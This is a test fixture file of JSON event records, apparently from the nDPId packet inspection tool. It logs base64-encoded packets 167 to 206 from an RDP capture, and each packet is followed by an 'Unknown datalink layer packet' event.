+00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":167,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":699810,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89IxHmus\/UBAf\/SJoAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":167,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":168,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":700225,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm89IxHmus\/UBggALNhAAAXAwMAOOAIO32NJwtp6xYHvpDKvcifIPkwaywrYLrWBz1hIdWbXp\/6LPgkUnpQ\/UzpbYZP65JvasVaTUeo"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":168,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":169,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742349,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf2EAAfwYp+MCoAo6sEAK5DT3NDkea6z\/5vPQOUBD1ak14AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":169,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":170,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742371,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf2UAAfwYp98CoAo6sEAK5DT3NDkea6z\/5vPSMUBD6AEhkAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":170,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":171,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742410,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AgAAAEUAAGNf2kAAfwYpu8CoAo6sEAK5DT3NDkea6z\/5vPSMUBj6AE3zAAAXAwMANgAAAAAAAAAzcNqCXTFBXvtYE1XBGdYqhwbPS98a3nxpj6JhqH47znbR\/B0zLoNY1CrvzwgcXg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":171,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":172,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742446,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89MlHmut6UBAf\/iHvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":172,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":173,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742451,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AgAAAEUAAHBf20AAfwYprcCoAo6sEAK5DT3NDkea63r5vPSMUBj6AGIyAAAXAwMAQwAAAAAAAAA0uNuR\/o1oSPWh8Fx0kKz6piUN8DyUXSVl1aIQFGt26M\/2GIgaW5urAepXHt++euOrPirPSAJq0ksUAsk="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":173,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":174,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742514,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AgAAAEUAAIdf3EAAfwYplcCoAo6sEAK5DT3NDkea68L5vPSMUBj6AK3zAAAXAwMAWgAAAAAAAAA1vgu12Aph+vUKDhW0bLgao7f8Jj8\/8EMNKVKEp\/Kwg62qr6A0pqqXpE21Y6Wcp+QQhnfEuI5\/lDDCzEbQaqtDkXTzfQrlF5vTfFLTDDTJSe+7Aw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":174,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":175,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742536,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89MlHmuvCUBAf\/SGoAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":175,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":176,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":742633,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89MlHmuwhUBAf\/SFJAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":176,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":177,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":743126,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm89MlHmuwhUBggAFGbAAAXAwMAOOAIO32NJwtqfivI3Cpv+fJrZyjMi3KFFMUSh5W79iFGmhNQegm4zUHfKs9A4VvPnnf8La4Bm6wn"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":177,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":178,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":743234,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm89QZHmuwhUBggALWUAAAXAwMAOOAIO32NJwtrSCExLJrwr+ZeRKAjxPKSKsawBVSKn1gfFTYUnROSwaYLk79HiHy5DRto222Pgx3I"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":178,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":179,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":785811,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf3UAAfwYp88CoAo6sEAK5DT3NDkea7CH5vPUGUBD5hkeCAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":179,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":180,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827248,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGdf3kAAfwYps8CoAo6sEAK5DT3NDkea7CH5vPVDUBj5SUaGAAAXAwMAOgAAAAAAAAA2UbQrWIDAHzFUYPej1CWsYqqBEmsiD8zwNzwfEn63j7Fj4Qfhgkdz1I37NNG2S+bR9X4="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":180,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":181,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827298,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89UNHmuxgUBAf\/iCPAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":181,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":182,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827303,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AgAAAEUAAIVf30AAfwYplMCoAo6sEAK5DT3NDkea7GD5vPVDUBj5SQlsAAAXAwMAWAAAAAAAAAA3DtgKdk57VeSrAUchhe5yCqRhn17K0Nc1GkxQ1dc54qqMBdNOAE4oAeuwJrS1MbJYPODGkTojjF0o5RHk92xQJItP8kv4z+ixVvI9SEf5Msw="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":182,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":183,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827367,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AgAAAEUAAHhf4EAAfwYpoMCoAo6sEAK5DT3NDkea7L35vPVDUBj5SdYOAAAXAwMASwAAAAAAAAA4MBmo04b40Q8fNDiv07C51aqFjlI2VIoEDYnaMbMlKp\/ApTAZxZbJI7dGOKdeDnkQQfsHNAiEoCKqYz3k5js4x3Yb8Q=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":183,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":184,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827393,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89UNHmuy9UBAf\/SAzAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":184,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827563,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89UNHmu0NUBAf\/R\/jAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":185,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":186,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827850,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGcAAEAAQAbIkawQArnAqAKOzQ4NPfm89UNHmu0NUBggAMtFAAAXAwMAOuAIO32NJwts66aRB8CRdNCcyY6qzQSGfu6jN7wBp9SRa7HJ6H1ZERJdVH9u\/6GeTrSnMUa5uAtthHg="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":186,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":187,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":827953,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AgAAAEUAAIMAAEAAQAbIdawQArnAqAKOzQ4NPfm89YJHmu0NUBggAIaWAAAXAwMAVuAIO32NJwtt0F3lgR+fc8cJNjwdCtBsi7Qwz\/W1DB+eMy8+GW\/ZDtJNW2vM+4BAe9DkgvDDgbdcibJ9y\/4\/YSkjXVyFr9wsf0GSB1zTsiDw6JHJKCsK"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":187,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":188,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":828136,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm89d1Hmu0NUBggAN9KAAAXAwMAOOAIO32NJwtuCdnpHNRhJf\/L0rz4VVJ05wVgy7YMGVtymQj52OTdNVZOD0gAc4ZuPWYdEY5sf3y\/"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":188,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":189,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":828290,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm89hpHmu0NUBggAHtmAAAXAwMAOOAIO32NJwtvilshfpDh6vvBZoux7Kxd0vshiUfp7YHsrAnQTzOpaalMUEDZPjt+ZwQ73+vMZuKb"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":189,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":190,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":870892,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf4UAAfwYp78CoAo6sEAK5DT3NDkea7Q35vPYaUBD4ckaWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":190,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":191,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":912314,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf4kAAfwYp7sCoAo6sEAK5DT3NDkea7Q35vPZXUBD4NUaWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":191,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":192,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":912358,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AgAAAEUAAJBf40AAfwYphcCoAo6sEAK5DT3NDkea7Q35vPZXUBj4NWpQAAAXAwMAYwAAAAAAAAA5XDiCbspzWA6cb4ge7m\/rXnMSITQ9FOSQxQL9S7uEgHIsMMjFnhsl9XyoBIQQrE6fp31ZUpePkwbJI+4qP7pSNl8VXfEQlPdhS8\/cZ\/gpm2rWxCziu3Pq\/qFnRA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":192,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":193,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":912413,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89ldHmu11UBAf\/B5oAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":193,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":912418,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AgAAAEUAAGdf5EAAfwYprcCoAo6sEAK5DT3NDkea7XX5vPZXUBj4NZsxAAAXAwMAOgAAAAAAAAA6b4dzjnITGBpX3L7kv8SHUxYcusoCZ92GQUw2oWhWvHDmulKSkecxCxTpyn90VAq1PsQ="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":194,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":195,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":912483,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AgAAAEUAAHFf5UAAfwYposCoAo6sEAK5DT3NDkea7bT5vPZXUBj4NSRlAAAXAwMARAAAAAAAAAA7HMHvYAoIw4l+F4CtQcX5rdD4AhWfrGw0MpJN9kKcK5GnzMzgtOyktbKBhdH4iBv4vwrAg9GExouOmJKb"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":195,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":196,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":912514,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89ldHmu20UBAf\/h4nAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":196,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":912625,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89ldHmu39UBAf+x3hAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":197,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":913247,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AgAAAEUAAIUAAEAAQAbIc6wQArnAqAKOzQ4NPfm89ldHmu39UBggADGvAAAXAwMAWOAIO32NJwtwF7X7y8gwnRGrXdPDHDmxtyyGSmTVAndd1GvAu2HBYpUc6NLp7yerbiidDeMnU\/drf9U093cD3z+IK7IAXXfOp1WVdtPWCNOTfjuGTHQn7gQ="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":198,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":955967,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AgAAAEUAAF9f5kAAfwYps8CoAo6sEAK5DT3NDkea7f35vPa0UBj32D7kAAAXAwMAMgAAAAAAAAA8TxgpTLzpqFdE0DMUT82w8\/siSfW4KrAJIernT+pKE3apPyxiIas\/4T29"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":199,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207466,"pkt_ts_usec":956020,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89rRHmu40UBAf\/h1KAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":200,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":201,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207467,"pkt_ts_usec":635152,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AgAAAEUAAEgAAEAAQAbIsKwQArnAqAKOzQ4NPfm89rRHmu40UBggAFZRAAAXAwMAG+AIO32NJwtxTxpWCAXvnzFOtVEYn5Qd947V4Q=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":201,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":202,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207467,"pkt_ts_usec":729660,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChf50AAfwYp6cCoAo6sEAK5DT3NDkea7jT5vPbUUBD3uEVvAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":202,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00419{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":203,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207467,"pkt_ts_usec":948403,"pkt_caplen":95,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":95,"pkt_l4_len":0,"pkt":"AgAAAEUAAFtf6EAAfwYptcCoAo6sEAK5DT3NDkea7jT5vPbUUBj3uIGfAAAXAwMALgAAAAAAAAA92wRtTQx+AmanyNXIVvAxvZgahQA+8tqXIAoVEfeer0onG94GG\/0="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":203,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":204,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207467,"pkt_ts_usec":948464,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm89tRHmu5nUBAf\/hz3AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":204,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":205,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":473008,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm89tRHmu5nUBggACv8AAAXAwMAJuAIO32NJwtycO3O6El+kQhdNxtszuB8CMF4ENmZyicW4uMU3qWy"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":205,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":206,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207468,"pkt_ts_usec":481442,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAbIpawQArnAqAKOzQ4NPfm89v9Hmu5nUBggAI6LAAAXAwMAJuAIO32NJwtztZnaN+m+gS3BHgKjgfdARaiTWbWqsy5\/Nr3pq9eL"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":206,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 